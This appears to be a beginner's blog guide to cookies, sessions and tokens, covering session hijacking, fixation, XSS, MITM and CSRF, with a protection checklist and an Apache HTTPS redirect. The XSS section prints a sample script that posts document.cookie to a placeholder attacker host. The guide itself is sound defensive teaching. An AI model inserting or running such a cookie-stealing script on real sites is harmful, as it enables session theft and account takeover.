Updated: July 2025
Author: admin โ Cyberwel.com
๐ Simple, beginner-friendly guide to web authentication & security
โ ๏ธ Disclaimer
This article is for educational purposes only. The goal is to help everyday users understand how web login mechanisms work โ and how to protect themselves from real-world threats.
๐ Quick Summary
Concept | Purpose | Security Risk |
---|---|---|
Cookie | Stores small user data | Can be stolen via XSS or sniffing |
Session | Tracks logged-in users | Session ID can be hijacked |
Token | Used in APIs/auth systems | Can be leaked if poorly stored |
๐ง Imagine This
You log into your bank website, close the tab, then come back later โ and you’re still logged in. How did it remember you?
The answer: cookies, sessions, or tokens. These tools make websites feel seamless โ but also open doors for attackers if not handled securely.
๐ช What Are Cookies?
Cookies are tiny files that websites store in your browser. They help remember you โ your login, cart items, theme, language, etc.
๐น Common Uses:
- Stay logged in
- Store user preferences
- Track visits for analytics
- Save shopping cart content
๐งฉ Types of Cookies
Type | Description |
Session | Temporary, deleted after browser closes |
Persistent | Stay even after restart (e.g., โRemember meโ) |
Secure | Only sent over HTTPS |
HttpOnly | Hidden from JavaScript (protects from XSS) |
SameSite | Restricts cross-site requests (prevents CSRF) |
๐ก๏ธ Cookie Security Flags
Flag | What It Does |
Secure | Sends cookie only over HTTPS |
HttpOnly | Prevents JavaScript from reading cookie |
SameSite | Blocks sending cookies in cross-site requests |
๐ Tip: If any of these are missing, a hacker might steal your cookie using a script or a public Wi-Fi attack.
๐งญ What Is a Session?
A session keeps you logged in during a visit. Without sessions, you’d have to enter your password on every page.
โบ How It Works:
- You log in.
- Server creates a Session ID.
- The browser stores it (usually in a cookie).
- On every request, your browser sends it.
- The server checks this ID to know who you are.
If someone steals your session ID, they can pretend to be you. Itโs like handing over your backstage pass.
๐ What Are Tokens?
Tokens are special strings used mostly in APIs and modern apps (like mobile apps, single-page apps, etc.).
They are stateless: the server doesn’t need to store anything. The token carries all the info inside it.
๐งช Common Token Types:
Type | Description |
JWT | JSON Web Token โ includes user data + expiration |
OAuth | Allows apps (like Spotify) to access Google data |
Bearer | Generic token used in headers for access |
๐ Where Tokens Are Stored:
- Best: HTTP-only cookies with
Secure
flag - โ ๏ธ Risky: localStorage/sessionStorage (XSS can access them)
๐จ How Hackers Steal Sessions or Tokens
+------------------+ | Login Form | +--------+---------+ | v +------------------+ | Authentication | | Server | +--------+---------+ | v +--------------------+ | Session ID Issued | +---------+----------+ | v +----------------------+ | Stored in Cookie | +---------+------------+ | v +--------------------------------+ | Browser Sends Cookie on Visit | +--------------------------------+ | v +-------------------------------------+ | Attacker Steals Session ID via | | - XSS | | - MITM | | - Public Wi-Fi | | - Malicious Extensions | +-------------------------------------+ | v +-----------------------------+ | Session Hijacked | | (Attacker = Logged-In User)| +-----------------------------+
Session hijacking occurs when an attacker captures your valid session ID and impersonates you online. Without cookie protections like HttpOnly
, Secure
, and SameSite
, this attack becomes much easier โ especially on public Wi-Fi or websites that donโt enforce HTTPS.
1. Session Hijacking
They intercept your session ID and reuse it.
๐ Happens when:
- Cookies are sent over HTTP
- JavaScript can read cookies (missing HttpOnly)
- You’re on public Wi-Fi with no VPN
- Bad browser extensions
2. Session Fixation
The attacker sets a session ID before you log in.
๐ Example:
You click a strange link โ the session ID is already set โ you log in โ hacker uses that ID to get in too.
3. XSS (Cross-Site Scripting)
Malicious script runs in your browser, stealing cookies.
<script>
fetch('https://attacker.site', {
method: 'POST',
body: document.cookie
});
</script>
4. Man-in-the-Middle (MITM)
Without HTTPS, attackers can sniff your traffic โ including tokens.
๐ง Example: Logging into your bank on open Wi-Fi = very bad idea.
5. CSRF (Cross-Site Request Forgery)
The attacker tricks your browser into making requests as you, like changing your email or transferring money.
Usually works only if your session isnโt protected by SameSite + CSRF tokens.
โ Best Practices: How to Protect Yourself
๐ Cookie & Session Protection Checklist:
Practice | Why It Matters |
โ Use HTTPS | Encrypts traffic, blocks sniffing |
โ Set HttpOnly flag | Blocks JS from reading cookies |
โ Use Secure flag | Cookie sent only via HTTPS |
โ Set SameSite=Strict | Prevents cross-site misuse |
โ Regenerate session ID on login | Prevents fixation |
โ Avoid localStorage | Safer to store tokens in cookies |
โ Set short token lifetimes | Limits window for abuse |
โ Monitor login activity | Detect stolen session usage |
โ Use CSRF tokens in forms | Prevents unauthorized requests |
๐ Cookie vs Token vs Session โ Comparison Table
Feature | Cookie | Session | Token |
---|---|---|---|
Purpose | Store data in browser | Track user login state on server | Authenticate user/API without session |
Storage Location | Browser (client-side) | Server memory or DB | Client (cookie/localStorage/headers) |
Type | Stateful | Stateful | Stateless (usually) |
Security Risks | XSS, sniffing if unprotected | Session hijacking, fixation | Token leakage via XSS/localStorage |
Expires | Manually set expiration or session end | On logout or timeout | Usually time-limited (e.g., 15 mins) |
Can be stolen via | XSS, MITM | MITM, sniffing | XSS, poor token handling |
Best Storage | HttpOnly, Secure cookies | On server (use session ID in cookie) | Secure HttpOnly cookie or in Authorization header |
Use Case | Remember login, preferences | Maintain login state in web apps | API auth, mobile apps, SPAs |
Example Protocols | HTTP Cookies | PHP/ASP.NET/Express sessions | JWT, OAuth 2.0, Bearer tokens |
๐ก Tip: In modern applications, it’s common to use tokens (like JWT) for authentication and store them in HttpOnly cookies to gain benefits of both tokens and secure cookie storage.
๐ง Real-World Example: Facebook 2010 Token Theft
In 2010, attackers found a way to access Facebook session tokens via browser storage. It allowed full account takeover just by visiting a malicious site.
๐ Lesson learned: If even Facebook can make mistakes โ so can anyone. Proper storage and scoping matter.
๐ FAQ: Quick Answers for Beginners
Are cookies safe?
Mostly yes โ if they’re configured properly (HttpOnly
, Secure
, SameSite
). Bad configuration = risk.
Can I delete cookies to log out?
Yes, but many websites also track your session server-side. So deleting cookies doesnโt always log you out securely.
Should I worry about XSS and CSRF?
Yes. They are real threats โ but proper settings and hygiene (like input validation and CSRF tokens) will block 99% of attacks.
Is localStorage bad?
Itโs okay for non-sensitive data. But never store login tokens there โ if XSS happens, theyโre gone.
๐งฉ Bonus: Redirect All Traffic to HTTPS with .htaccess
๐ Why This Matters
If someone visits your site using http://
, their connection is not encrypted. This makes it possible for attackers (especially on public Wi-Fi) to intercept cookies, session IDs, or login data โ using man-in-the-middle (MITM) techniques.
To fix this, you should force all users to use HTTPS.
๐ What Is .htaccess
?
.htaccess
is a configuration file used by Apache web servers. It lets you control how your server behaves โ like setting up redirects, blocking access, or enabling compression.
If your hosting uses Apache (like Hostinger, Namecheap, Bluehost, etc.), you can use
.htaccess
.
๐ How to Enable HTTPS Redirect
- Locate your websiteโs
.htaccess
file. Itโs usually in the root folder of your site (/public_html
or/www
). - Make a backup copy of it before editing.
- Add this code at the top of the file:
RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]
๐ What This Code Does:
Line | Explanation |
RewriteEngine On | Activates URL rewriting module |
RewriteCond %{HTTPS} off | Checks if the request is not using HTTPS |
RewriteRule | Redirects to the HTTPS version of the current page |
โ Result
- All visitors are automatically redirected to the HTTPS version of your site.
- Their sessions and cookies are encrypted, making it much harder for attackers to steal anything.
๐ก Pro Tip
If your site doesnโt yet have an SSL certificate:
- Use Letโs Encrypt to get one for free.
- Many hosts (like Hostinger, SiteGround, etc.) offer it with one click.
๐ง Final Thought
Cookies, sessions, and tokens are invisible tools that power every login youโve ever used. Learn how they work โ and youโll be 10x more secure online.